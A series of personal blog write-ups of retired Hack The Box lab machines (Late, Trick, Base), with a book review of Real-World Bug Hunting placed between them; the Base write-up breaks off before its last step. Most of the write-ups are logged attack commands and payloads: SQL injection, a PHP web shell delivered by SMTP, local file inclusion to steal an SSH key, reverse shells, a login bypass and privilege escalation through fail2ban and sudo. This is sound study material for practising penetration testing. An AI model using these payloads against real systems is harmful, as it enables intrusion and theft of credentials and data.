Before I continue, please take a look at the screenshot below. That is how many times I had to modify the payload before I was able to get it to work. It may not seem like a lot but when you’re tinkering with each one and getting errors it becomes incredibly frustrating. This wasn’t fun, the concept was fun but the execution was terrible. It should have had a larger margin for error. Even when my code was right, it didn’t work.
I finally got a payload to work based on the same principle that the wizard used on his youtube video. I set up a python web server and created an index file. The index file contained a bash command which just sent a reverse shell back to my host. The picture payload when processed would use curl to get the file and execute it with bash. I think this is the exact image I used in the end, the font type was Bahnschrift Light. Whether or not you get your reverse shell is pure luck… and it really shouldn’t be.
When the image was processed by the server it sent a get request to my file on my webserver which you can see in the output below. It took a few attempts.
As you can imagine, the first thing I did after getting my shell was to upgrade it. The next thing I did was throw an SSH key into the user’s authorized key file to make sure I could get back on the box. There was no way in hell I was going to go through the process of getting a foothold again. Absolutely ridiculous.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/haxez/.ssh/id_rsa): /home/haxez/sshkey Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/haxez/sshkey Your public key has been saved in /home/haxez/sshkey.pub The key fingerprint is: SHA256:AMh1NoU5ILMkOIyR8waY6+WmGLt90qrVzFDXqBwSsG4 haxez@parrot The key's randomart image is: +---[RSA 3072]----+ |O*=o+.++. | |X=o= +++ | |.*o o +.. | |o o= + . | |.E+ o S | |o. B | |.o+.+ | |o+. o | |ooo+ | +----[SHA256]-----+
With access to the box via SSH it was time for enumeration. After performing some searches I discovered a file called ‘ssh-alert.sh’. The permissions of the file suggested we had full ownership of it but for some reason, I was unable to write to it. Well, it turns out that there are other permissions (that I need to read about) that meant I could only append to the file.
Anyway, it turns out that this script is executed whenever someone logs in or out of SSH. It’s also executed by root. So we append a reverse shell to the end of the script and then log out of SSH.
We get a shell as root and are finally able to finish the box.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ nc -lvnp 1234 listening on [any] 1234 ... connect to [10.10.14.126] from (UNKNOWN) [10.129.243.130] 51220 bash: cannot set terminal process group (2864): Inappropriate ioctl for device bash: no job control in this shell root@late:/# cat /root/root.txt cat /root/root.txt 998▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓7ea
Late Review
The concept was awesome, but the execution was terrible. Initially, I had a lot of fun creating image payloads and thought that this was an amazing box for doing something different. 40 images later and the novelty had worn out and I wanted to quit. I didn’t learn anything from it that’s the problem. It was an exercise in persistence. As Einstein once said:
Insanity is doing the same thing over and over and expecting different results.
Albert Einstein
Is this what hacking is supposed to be? brute-forcing something repeatedly until it works? Perhaps I don’t have the patience for this after all. I know it’s not, I’m being cynical. The privilege escalation was good but by the time I got to do it, I was so fed up that I didn’t care.
Hello world and welcome to haxez. I’m back, attempting to hack my way into the Hack The Box machine called Trick. It’s currently 7:00am on a Tuesday, I have work in a couple of hours but let’s see if we can smash this out before I have to go back to the 9–5. Please note, this isn’t a walkthrough. This is a retired machine write-up that I’m using to skill up.
Trick Enumeration
First, I pinged the box to make sure it was online and then ran a Nmap scan to see what services were listening. As you can see from the output below, SSH, SMTP, DNS and HTTP are open. Some ideas instantly sprang to mind such as enumerating users through SMTP and performing a DNS zone transfer.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ sudo nmap -sC -sV -p- -O -A 10.129.245.209 -oA trick Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-14 07:05 GMT Stats: 0:02:45 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 75.00% done; ETC: 07:09 (0:00:51 remaining) Nmap scan report for 10.129.245.209 Host is up (0.013s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 61ff293b36bd9dacfbde1f56884cae2d (RSA) | 256 9ecdf2406196ea21a6ce2602af759a78 (ECDSA) |_ 256 7293f91158de34ad12b54b4a7364b970 (ED25519) 25/tcp open smtp? |_smtp-commands: Couldn't establish connection on port 25 53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux) | dns-nsid: |_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian 80/tcp open http nginx 1.14.2 |_http-title: Coming Soon - Start Bootstrap Theme |_http-server-header: nginx/1.14.2 Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5.0 OS details: Linux 5.0 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 5900/tcp) HOP RTT ADDRESS 1 12.44 ms 10.10.14.1 2 12.60 ms 10.129.245.209 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 254.61 seconds
Going in numerical order, I skipped over SSH because unless we brute force it, and have a password or private key, we aren’t getting in. I had a poke at SMTP but there was a weird delay when running commands. I believe I was able to VRFY the root user but I decided I would come back to this later if I needed to.
That left me with DNS. I used the dig command to query the server for the server’s IP address. The output below shows that the server has a zone file for the domain trick.htb.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ dig @10.129.245.209 -x 10.129.245.209 ; <<>> DiG 9.18.11-2~bpo11+1-Debian <<>> @10.129.245.209 -x 10.129.245.209 ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48616 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3 ;; WARNING: recursion requested but not available;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ; COOKIE: 471a94ac095c0d0aa827a7e8641020d5aa7d0e001cec001a (good) ;; QUESTION SECTION: ;209.245.129.10.in-addr.arpa. IN PTR ;; ANSWER SECTION: 209.245.129.10.in-addr.arpa. 604800 IN PTR trick.htb. ;; AUTHORITY SECTION: 245.129.10.in-addr.arpa. 604800 IN NS trick.htb. ;; ADDITIONAL SECTION: trick.htb. 604800 IN A 127.0.0.1 trick.htb. 604800 IN AAAA ::1 ;; Query time: 16 msec ;; SERVER: 10.129.245.209#53(10.129.245.209) (UDP) ;; WHEN: Tue Mar 14 07:23:02 GMT 2023 ;; MSG SIZE rcvd: 165
I added trick.htb to my host file.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ sudo echo '10.129.245.209 trick.htb' | sudo tee -a /etc/hosts 10.129.245.209 trick.htb
As DNS TCP was open, I attempted to perform a zone transfer for trick.htb to see what other records there were in its zone file. The results below show the output of the host command. As you can see, there is a subdomain called preprod-payroll.trick.htb.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ host -t axfr trick.htb 10.129.245.209 Trying "trick.htb" Using domain server: Name: 10.129.245.209 Address: 10.129.245.209#53 Aliases: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47562 ;; flags: qr aa; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;trick.htb. IN AXFR ;; ANSWER SECTION: trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 trick.htb. 604800 IN NS trick.htb. trick.htb. 604800 IN A 127.0.0.1 trick.htb. 604800 IN AAAA ::1 preprod-payroll.trick.htb. 604800 IN CNAME trick.htb. trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 Received 192 bytes from 10.129.245.209#53 in 13 ms
I added this to my host file too.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ sudo echo '10.129.245.209 preprod-payroll.trick.htb' | sudo tee -a /etc/hosts 10.129.245.209 preprod-payroll.trick.htb
Walking The Websites
I visited the first website (trick.htb) and it didn’t appear that there was much there. It had an under-construction page.
I decided to skip further enumeration of this domain and visited the pre-production payroll website. If it’s pre-production then it’s still in development. If it’s still in development then it could have vulnerabilities. Not that production sites don’t have vulnerabilities but you know what I mean. As this page has a login form, but we don’t yet have credentials, I assume that it is vulnerable to SQL injection.
Running an initial SQLMap scan against the application shows that the login parameters are vulnerable to SQL Injection. I followed the official walkthrough for this. It’s extremely cool how we go from finding SQL Injection to being able to read files. We start with a regular SQL injection. You can see from the results below that it found a time-based attack.
Time-based attacks are slow we need to identify if there are any other methods that the server is vulnerable to. To do this we expand the techniques being used. As you can see below, we have now discovered that we have error-based and blind boolean-based SQL Injections.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --level 5 --risk 3 --technique=BEUS --batch ___ __H__ ___ ___[,]_____ ___ ___ {1.6.12#stable} |_ -| . ['] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org --- Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: username=abc' OR NOT 5700=5700-- AlDN&password=abcType: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=abc' OR (SELECT 4426 FROM(SELECT COUNT(*),CONCAT(0x71787a6a71,(SELECT (ELT(4426=4426,1))),0x717a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VaIS&password=abc
So, in the official write-up, the author then goes on to check the privileges afforded to the SQL server user. As you can see below, the user has FILE privilege which allows them to read files. We can use this to read files that the user has permission to read on the server.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick/] └──╼ [★]$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --privileges ___ __H__ ___ ___[']_____ ___ ___ {1.6.12#stable} |_ -| . [)] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=abc' AND (SELECT 2307 FROM (SELECT(SLEEP(5)))gjOv) AND 'RZSQ'='RZSQ&password=abc Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: username=abc' OR NOT 5700=5700-- AlDN&password=abc Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=abc' OR (SELECT 4426 FROM(SELECT COUNT(*),CONCAT(0x71787a6a71,(SELECT (ELT(4426=4426,1))),0x717a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VaIS&password=abc --- database management system users privileges: [*] 'remo'@'localhost' [1]: privilege: FILE
Using this method, we can retrieve the /etc/passwd file and see what users there are on the system. The more information we have the better.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --batch --file-read=/etc/passwd ___ __H__ ___ ___[(]_____ ___ ___ {1.6.12#stable} |_ -| . [,] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org--- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=abc' AND (SELECT 2307 FROM (SELECT(SLEEP(5)))gjOv) AND 'RZSQ'='RZSQ&password=abc Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: username=abc' OR NOT 5700=5700-- AlDN&password=abc Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=abc' OR (SELECT 4426 FROM(SELECT COUNT(*),CONCAT(0x71787a6a71,(SELECT (ELT(4426=4426,1))),0x717a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VaIS&password=abc --- files saved to [1]: [*] /home/haxez/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd
We can also use this method to read the ‘/etc/nginx/sites-enabled/default’ file. Now we can see what other sites are hosted on the server. As you can see, we have found another domain preprod-marketing.trick.htb. By the way, I wouldn’t have thought to check this file, we are on our third domain. I probably would have given up if I couldn’t get in with SQLI.
Let’s echo that new subdomain/virtual host to our hosts’ file.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ echo '10.129.245.209 preprod-marketing.trick.htb' | sudo tee -a /etc/hosts 10.129.245.209 preprod-marketing.trick.htb
So, we can now visit this site and see what’s occurring. The image below shows the site and something interesting about the way it is retrieving the about page. As you can see below, rather than having a path to the file like “example.com/about.html” it is using a PHP parameter to retrieve the page. This is suspicious and it is likely performing a server-side include. Hopefully, we can exploit this to perform local file inclusion.
First, I attempted to grab the ‘/etc/passwd’ file using the standard ‘/../../../etc/passwd’. However, this didn’t work so I assumed that there was some type of filtering taking place. Next, I doubled down on this attack and doubled up our characters we are able to perform local file inclusion to get the /etc/passwd file. This is great but it doesn’t really get us anything. We can’t upload a shell to the server.
Do you want to see a magic trick? remember that SMTP port earlier? well, we can use it to write a shell that we can then call with the local file inclusion. Yeah, I was amazed by this. So we need to nc back to the SMTP port and craft an email.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ nc trick.htb 25 helo 220 debian.localdomain ESMTP Postfix (Debian/GNU) mail from: haxez 250 2.1.0 Ok rcpt to: michael 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> <?php system($_GET['cmd']); ?> . 250 2.0.0 Ok: queued as 4935F4099C
Next, we create our listener so that when our reverse shell comes back from our PHP Web Shell, it has a friend to talk to.
And finally, we run the command that tricks the system into connecting back to us. Then we should be able to use the PHP Web Shell to get a reverse shell. But, the instructions in the official walkthrough don’t work. This is a pretty common and unfortunate occurrence, unfortunately. You would expect the official walkthrough to be correct, wouldn’t you?
Moving On
It’s a shame that this didn’t work, I have read another article where the hacker used the same technique and it worked but I can’t replicate it. So instead of banging my frustrated face up against a brick wall, I’m going to take the easy path. I will come back to this one later. We have local file inclusion and we know there is a user called Michael. Surely the webserver doesn’t have permission to access Michale’s private key.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Trick] └──╼ [★]$ cd ~/ ┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ sudo vim ssh.key ┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ sudo chmod 600 ssh.key ┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~] └──╼ [★]$ sudo ssh -i ssh.key [email protected] Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. michael@trick:~$
Trick Privilege Escalation
Ok, we now have access to the Michael user. We can run sudo -l and see what we can run. As you can see below, we can restart the fail2ban service as root without a password.
michael@trick:~$ sudo -l Matching Defaults entries for michael on trick: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User michael may run the following commands on trick: (root) NOPASSWD: /etc/init.d/fail2ban restart
Ok, let’s take a look at the permissions within the fail2ban directory.
michael@trick:/etc/fail2ban$ ls -laSH total 76 -rw-r--r-- 1 root root 22908 Mar 14 10:18 jail.conf drwxr-xr-x 126 root root 12288 Mar 14 09:53 .. drwxr-xr-x 6 root root 4096 Mar 14 10:18 . drwxrwx--- 2 root security 4096 Mar 14 10:18 action.d drwxr-xr-x 2 root root 4096 Mar 14 10:18 fail2ban.d drwxr-xr-x 3 root root 4096 Mar 14 10:18 filter.d drwxr-xr-x 2 root root 4096 Mar 14 10:18 jail.d -rw-r--r-- 1 root root 2827 Mar 14 10:18 paths-common.conf -rw-r--r-- 1 root root 2334 Mar 14 10:18 fail2ban.conf -rw-r--r-- 1 root root 738 Mar 14 10:18 paths-opensuse.conf -rw-r--r-- 1 root root 645 Mar 14 10:18 paths-arch.conf -rw-r--r-- 1 root root 573 Mar 14 10:18 paths-debian.conf
The ‘action.d’ directory stands out as its group owner is security. Let’s check our group and see if we are in that group.
michael@trick:/etc/fail2ban$ id uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
Cool, what now? Apparently the iptables-multiport.conf has a command in it that gets run when a user gets banned. If we can modify this value then we can run our own command by triggering a ban. I presume that is what we’re meant to do. However, we can’t edit this file but we can move it.
michael@trick:/etc/fail2ban/action.d$ mv iptables-multiport.conf .old michael@trick:/etc/fail2ban/action.d$ cp .old iptables-multiport.conf michael@trick:/etc/fail2ban/action.d$ ls -l iptables-multiport.conf -rw-r--r-- 1 michael michael 1420 Mar 14 10:26 iptables-multiport.conf
This is wild, we now own the file but when we restart fail2ban, any commands in this file will still be executed as root right? I think. This is confusing.
Fail2ban to shell
Now we modify the ‘iptables-multiport.conf’ file and change ‘actionban’ value to /tmp/shell.sh. Then we create ‘shell.sh’ in /tmp which has a reverse shell back to our host.
michael@trick:/etc/fail2ban/action.d$ cd /tmp michael@trick:/tmp$ vim shell.sh michael@trick:/tmp$ chmod +x shell.sh michael@trick:/tmp$ sudo /etc/init.d/fail2ban restart [ ok ] Restarting fail2ban (via systemctl): fail2ban.service.
We have now changed the behaviour of what happens when fail2ban tries to ban someone. Instead of banning them, it will launch our reverse shell. We can trigger this by brute-forcing SSH.
After a while, we get a shell back which we can use to capture the root flag.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[/Trick] └──╼ [★]$ sudo nc -lvnp 1337 [sudo] password for haxez: listening on [any] 1337 ... connect to [10.10.14.126] from (UNKNOWN) [10.129.245.222] 53330 bash: cannot set terminal process group (1799): Inappropriate ioctl for device bash: no job control in this shell root@trick:/# cat /root/root.txt cat /root/root.txt f8f▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓694
Trick Review
I will keep this short as I have work today. it’s 9:50 so it didn’t take me long to complete but I wouldn’t have had a clue without the official walkthrough. This is yet another easy box which isn’t easy. Perhaps when I complete them all I will actually have a methodology to solve these crazy boxes. Anyway, it was fun I guess, I enjoyed the DNS enumeration and would have loved for the SMTP trick to work. Anyway, I’m done. Time to look for a new career because I clearly suck at hacking.
Hello Friends and welcome to HaXeZ. This week I’ve been reading Real-World Bug Hunting — A Field Guide to Web Hacking, written by Peter Yaworski and published by no starch press. I purchased this book from Amazon for around £20.00 which in my opinion is well worth the money.
Real-World Bug Hunting Initial Thoughts
I bought this book because I wanted to improve my application penetration testing skills. At the present time, Web Application tests are a huge category in information security. Overall, I’ve probably done more Web Application tests than any other type of test since entering the industry. In short, there are so many different technologies and attack vectors to consider when testing web applications. It can be overwhelming if you’re new to the industry. For the most part, I wanted to read this book to expand my current knowledge and to improve my testing methodology. It did just that. The author covers a lot of areas in this book and gives real-world examples of bug bounties that have been submitted to Hacker One.
HTTP Parameter Pollution Bug Hunting
One of the first topics that the author covers is Server-Side and Client-Side HTTP Parameter Pollution. For instance, he talks about how adding additional parameters to the URL to see which one gets processed could lead to a vulnerability. Furthermore, he uses an example of performing a funds transfer on a banking website. He explains that adding an additional account parameter to the URL could result in a vulnerability. I won’t go into specifics but the way that the server processes the request determines which account the funds are removed from. The author also gives a real-world example of someone who was able to unsubscribe other users from Twitter notifications, which I thought was hilarious.
Cross-Site Request Forgery Bug Hunting
Cross-Site Request Forgery is when a threat actor tricks an unsuspecting user into opening a link. The link will direct the user to a malicious website that sends a request to a legitimate website. Provided that the user has session cookies stored in their browser, the request would be authenticated and succeed. The author uses an example of when a hacker discovered a CSRF attack that affected Twitter and Shopify. To clarify, the hacker was able to disconnect other users’ Twitter accounts from their Shopify store. While this seems mostly harmless, it is still a vulnerability and could cause users to miss important notifications.
Carriage Return Line Feed Injection
This type of attack vector requires the submission of encoded characters that have special meanings. As a result, these encoded characters may bypass traditional input sanitization facilitating unexpected actions. Specifically, the author uses are the %0D and %0A characters that represent a carriage return and a line feed. The author uses an example of how a hacker found an HTTP Response Splitting vulnerability on Twitter that allowed him to set cookies. The specific details of this vulnerability are beyond the scope of this review but it’s definitely worth reading.
Cross-Site Scripting
XSS, every penetration tester’s first exploit. Ok, maybe not but it is one of the first things I was taught when joining the industry. There are two types of Cross-Site Scripting and the author does a fantastic job of explaining both. For example, he talks about how it was possible to perform a persistent Cross-Site Scripting attack on Yahoo mail. This vulnerability was possible due to the way the sanitization handled malformed image tags. There are more examples including ones that affected Google image search, United Airlines, and Shopify.
SQL Injection
SQL Injection is apparently one of the most financially rewarding bugs to find. This is understandable since the impact of exploiting an SQL Injection could be huge. There have been loads of examples in the news (specifically mobile phone network providers) where their customer’s sensitive data was leaked. There are many different types of SQLi and the author provides examples such as a Blind SQLi bug found on Yahoo Sports. The hacker was able to discover this vulnerability by the way page was rendering pictures. Personally, I struggle with Blind SQLi, it seems like such a long process.
Finding Your Own Bug Bounties
The author covers many more attack types and gives real-world examples of where and how bug hunters have found them. The majority of the findings are well beyond my current technical capability, which only made me find them more fascinating. While this may be true for a lot of new penetration testers, the author does provide a testing methodology of sorts. This methodology alone is worth the price of admission. It discusses how you should approach a test and where you should focus your energy. It explains that you should target one specific vulnerability and not move on until you’ve popped it.
Conclusions
This book was a great read and while it didn’t make me a super hacker (no single book will), it has motivated me to learn more. The financial reward of bug bounties is great, but the knowledge of those performing the bug bounties is what was truly inspiring.
The author provides great real-life examples of many different attack types. To summarise them all in a blog post would take forever. The main takeaway from the book that I found was persistence! persistence in learning and persistence in testing. If you find a bug that looks like a bug then keep persisting until you exploit it. All of the examples in the book start with an initial discovery but then a great deal of persistence was required from the hacker in order to exploit it and claim their bounty.
Even reading the book took persistence on my part because technical books aren’t always the easiest reads. I really enjoyed this book though and would recommend it to anybody starting in the industry. Not so much for the technical details but more for the message behind it. Keep chipping away and being persistent with your goals.
Hello world, welcome to haxez where in this post I will be taking a look at the Hack The Box Machine Base. This is the final machine of the Starting Point category on Hack The Box. I’ve been looking forward to doing this machine since I completed the last one. In traditional techy fashion however, I‘ve just spent most of the evening trying to work out why my Virtual Machine kept crashing. For some reason it kept producing invalid memory address registers. After an update, a reboot, and some tinkering, it now appears to be fine. That has nothing to do with this though so let’s jump right in.
Base Enumeration
Ok so first, after spawning the machine we ping it to check that it’s online.
[10.10.14.57]─[joe@parrot]─[/media/sf_E_DRIVE/OneDrive/Hack The Box/Machines/Base/Output] └──╼ [★]$ sudo ping 10.10.10.48 | tee -a ping.10.10.10.48.txt PING 10.10.10.48 (10.10.10.48) 56(84) bytes of data. 64 bytes from 10.10.10.48: icmp_seq=1 ttl=63 time=21.6 ms 64 bytes from 10.10.10.48: icmp_seq=2 ttl=63 time=20.5 ms
The machine is talking to us! we have it right where we want it! Time to hit it with nmap.
[10.10.14.57]─[joe@parrot]─[/media/sf_E_DRIVE/OneDrive/Hack The Box/Machines/Base/Output]
└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.10.10.48 | tee -a nmap.10.10.10.48.txx
Starting Nmap 7.91 ( https://nmap.org ) at 2021–09–14 17:41 BST
Nmap scan report for 10.10.10.48
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f6:5c:9b:38:ec:a7:5c:79:1c:1f:18:1c:52:46:f7:0b (RSA)
|_ 256 b8:65:cd:3f:34:d8:02:6a:e3:18:23:3e:77:dd:87:40 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn’t have a title (text/html)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Kicking off Dirb
It looks like we have a webserver running on Ubuntu. Before I look at the site, I will launch a dirb scan to check for any interesting directories.
[10.10.14.57]─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Base/Scripts]
└──╼ [★]$ sudo dirb http://10.10.10.48 /usr/share/dirb/wordlists/big.txt -w
— — — — — — — -
DIRB v2.22
By The Dark Raver
— — — — — — — — -
START_TIME: Tue Sep 14 22:51:33 2021
URL_BASE: http://10.10.10.48/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Not Stopping on warning messages
— — — — — — — — -
GENERATED WORDS: 20458
— — Scanning URL: http://10.10.10.48/ — —
==> DIRECTORY: http://10.10.10.48/_uploaded/
==> DIRECTORY: http://10.10.10.48/login/
+ http://10.10.10.48/server-status (CODE:403|SIZE:276)
==> DIRECTORY: http://10.10.10.48/static/
— — Entering directory: http://10.10.10.48/_uploaded/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://10.10.10.48/login/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
- — Entering directory: http://10.10.10.48/static/ — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)
==> DIRECTORY: http://10.10.10.48/static/fonts/
==> DIRECTORY: http://10.10.10.48/static/images/
Base Directory Listing
Interesting, it looks like the server is configured to allow directory listings. This is significant security oversight. This allows us to browse the directories and determine the file structure. This setting can easily be changed in the server configuration but for now let’s leverage that weakness and snoop around.
PHP Login Logic
There are some interesting directories and files on the server, one of which is named login.php.swp and contains the following PHP code:
<?php session_start(); if (!empty($_POST[‘username’]) && !empty($_POST[‘password’])) { require(‘config.php’); if (strcmp($username , $_POST[‘username’]) == 0) { if (strcmp($password, $_POST[‘password’]) == 0) { $_SESSION[‘user_id’] = 1; header(“Location: upload.php”) } else { print(“<script>alert(‘Wrong Username or Password’)</script>”); }} else { print(“<script>alert(‘Wrong Username or Password’)</script>”); }
It appears as if the username and passwords are being put in to a short array and checked with strcmp. By intercepting and changing the request in Burp we can break the syntax with an array of our own, and can cause the application to misbehave and hopefully bypass authentication. First, we will need to navigate to the site and submit a login request. We will then need to ensure the browser is configured to send the requests to Burp and that Burp intercept is on.
Second, As soon as Burp has intercepted the request we need to modify it slightly to add our own empty arrays. These arrays need to be added at the end of username and password before the input is received. You can see from the screenshot below that I have added an open and close square bracket to add the array.
Base Application Foodhold
Finally, we forward the request, and the subsequent set-cookie request with Burp and wait for the web application to respond. The page we are redirected to is an upload page. We know from our dirb results that there is an _uploaded directory. If we assume that is where the file upload puts files then we should be able to upload a reverse shell and capture it from there.
Reverse Shell
I used the pentestermonkey’s PHP Reverse Shell and uploaded it to the application. I started my netcat listener and then curled the URL to trigger the PHP reverse shell.
[10.10.14.57]─[joe@parrot]─[/media/sf_OneDrive/Hack The Box/Machines/Base/Scripts]
└──╼ [★]$ sudo curl http://10.10.10.48/_uploaded/shell.php
As expected. The shell worked and I was given acces to the box. Before we do anything else, we need to upgrade our shell so let’s run that Python 1 liner.
Now that that’s sorted, let’s check out the rest of the website files. When websites connect to databases, they require a database configuration file. Database configuration files contain passwords that could be used to gain access to sensitive information. There are other files like htaccess and htpasswd that could contain sensitive information too so it’s always a good idea to check them.
*Smug grin intensifies* The config.php file contains a password. We know this is the password that is required to login to the application, but we don’t know whether it has been reused on the system anywhere. With that in mind, let’s check the home directory and see what users are on the system.
www-data@base:/$ ls /home john www-data@base:/$ ls /home/john user.txt
Sorry John but it looks like you are going to be our victim today. I’m sure you’re lovely guy but if you have reused your password then you deserved to be pwned! (joking, or am I?). Now that we have a username and password, Lets try and switch user to john.
www-data@base:/$ su john su john Password: thisisagoodpassword john@base:/$
I believed in you john and you let me down. While we’re here lets grab the user flag from johns home directory.
With that out the way, lets see how we can elevate our provides and grab the root flag. The first thing we need to know is what john can run, besides his security posture in to the ground.
john@base:/$ id uid=1000(john) gid=1000(john) groups=1000(john)john@base:/$ sudo -l [sudo] password for john: thisisagoodpassword Matching Defaults entries for john on base: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User john may run the following commands on base: (root : root) /usr/bin/find
It appears john has permission to run the find command as root. Shame he couldn’t FIND a better password. Moving forward we should check whether find has any methods of escape, like the one we performed on Guard with the man command. In order to this, I checked the website GTFOBins and it says the following command can be used to escape a restricted shell. Hopefully that means it will drop us in to a root shell.